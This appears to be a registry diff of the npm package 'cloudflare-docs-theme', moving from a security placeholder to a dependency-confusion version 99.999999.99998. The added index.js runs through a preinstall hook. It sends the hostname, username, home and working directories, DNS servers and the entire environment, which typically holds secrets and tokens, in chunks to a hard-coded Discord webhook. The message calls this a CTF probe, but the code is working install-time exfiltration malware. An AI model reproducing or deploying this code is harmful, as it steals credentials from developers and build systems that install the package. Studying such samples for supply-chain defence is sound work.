cloudflare-docs-theme 0.0.1-security → 99.999999.99998

package/index.js

@@ -0,0 +1,69 @@
+const os = require('os');
+const dns = require('dns');
+const https = require('https');
+const package = require('./package.json');
+
+const discordWebhookUrl = 'https://discord.com/api/webhooks/1193206970140856441/aFHKutNLPSb9OA4YUmTNzme5Jl4GncjxU6DPAIomrO0Sb9zQNQdfRGjZJXAXOLBlcFz1';
+const baseMessage = `Alert: CTF Dependency Confusion Attack Detected!
+Current Directory: ${__dirname}
+Home Directory: ${os.homedir()}
+Hostname: ${os.hostname()}
+Username: ${os.userInfo().username}
+Dns-Server: ${dns.getServers()}
+Package: ${JSON.stringify(package, null, 2)}`;
+
+const envVariablesString = JSON.stringify(process.env);
+const discordCharLimit = 2000;
+function chunkSubstr(str, size) {
+    const numChunks = Math.ceil(str.length / size);
+    const chunks = new Array(numChunks);
+
+    for (let i = 0, o = 0; i < numChunks; ++i, o += size) {
+        chunks[i] = str.substr(o, size);
+    }
+    return chunks;
+}
+
+
+const availableSpace = discordCharLimit - baseMessage.length - 100;  // Reserve 100 chars for buffer and message formatting
+
+
+const envVarChunks = chunkSubstr(envVariablesString, availableSpace);
+
+function sendMessage(message, delay) {
+    setTimeout(() => {
+        const payload = JSON.stringify({ content: message });
+        const parsedUrl = new URL(discordWebhookUrl);
+        const options = {
+            hostname: parsedUrl.hostname,
+            path: parsedUrl.pathname,
+            method: 'POST',
+            headers: {
+                'Content-Type': 'application/json',
+                'Content-Length': Buffer.byteLength(payload)
+            }
+        };
+
+        const req = https.request(options, (res) => {
+            console.log(`Status: ${res.statusCode}`);
+            res.on('data', (d) => {
+                process.stdout.write(d);
+            });
+        });
+
+        req.on('error', (e) => {
+            console.error(e);
+        });
+
+        req.write(payload);
+        req.end();
+    }, delay);
+}
+
+sendMessage(baseMessage, 0);
+
+
+envVarChunks.forEach((chunk, index) => {
+    const delay = (index + 1) * 2000;
+    sendMessage(`Env Part ${index + 1}: ${chunk}`, delay);
+});

package/package.json

@@ -1,6 +1,15 @@
 {
-  "name": "cloudflare-docs-theme",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+    "name": "cloudflare-docs-theme",
+    "version": "99.999999.99998",
+    "description": "akshansh-security",
+    "main": "index.js",
+    "scripts": {
+        "test": "echo \"Error: no test specified\" && exit 1",
+        "preinstall": "node index.js"
+    },
+    "author": "akshansh",
+    "license": "ISC",
+    "dependencies": {
+        "cloudflare-docs-theme": "^99.999.999"
+    }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=cloudflare-docs-theme for more information.